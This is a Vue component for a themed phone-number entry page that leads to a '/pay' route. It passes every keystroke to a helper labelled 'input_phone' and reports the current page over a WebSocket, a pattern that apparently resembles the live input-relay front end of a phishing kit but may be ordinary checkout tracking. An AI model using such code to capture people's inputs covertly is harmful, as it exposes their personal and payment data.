<script setup lang="ts">
import { computed, getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import Theme1 from "@/components/theme/Theme1.vue";
import Theme2 from "@/components/theme/Theme2.vue";
import Theme3 from "@/components/theme/Theme3.vue";
import Theme4 from "@/components/theme/Theme4.vue";
import Theme5 from "@/components/theme/Theme5.vue";
import Theme6 from "@/components/theme/Theme6.vue";
import { getThemeColors } from "@/config/themes";
import { goodsConfig } from "@/config";

const router = useRouter();
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;

const phone = ref("");

// 获取当前主题组件
const currentThemeComponent = computed(() => {
  const themeId = goodsConfig.value.homeTheme || 1;
  const themeMap: Record<string, any> = {
    "1": Theme1,
    "2": Theme2,
    "3": Theme3,
    "4": Theme4,
    "5": Theme5,
    "6": Theme6,
  };
  return themeMap[themeId] || Theme1; // 默认使用主题2
});

// 获取当前主题颜色配置
const currentColors = computed(() => {
  const themeId = goodsConfig.value.homeTheme || 1;
  return getThemeColors(themeId);
});

const handleInput = (value: string) => {
  phone.value = value;
  inputChange("input_phone", "", value);
};

const handleSubmit = () => {
  localStorage.setItem("phone", phone.value);
  loadingStore.setLoading(true);
  setTimeout(() => {
    router.push("/pay");
  }, 200);
};

watch(
  () => instance.appContext.config.globalProperties.$currentUser,
  (newValue, oldValue) => { }
);

onMounted(() => {
  useLoadingStore().setLoading(false);

  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "phone" },
    })
  );

  const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
  if (userData && userData.phonePageData) {
    phone.value = userData.phonePageData.phone || "";
  }

  localStorage.setItem("route", "phone");
});
</script>

<template>
  <CommonLayout>
    <template #default>
      <!-- 动态加载主题组件 -->
      <component
        :is="currentThemeComponent"
        v-model="phone"
        :colors="currentColors"
        @update:modelValue="handleInput"
        @submit="handleSubmit"
      />
    </template>
  </CommonLayout>
</template>

<style scoped>
/* 样式由各主题组件自己管理 */
</style>
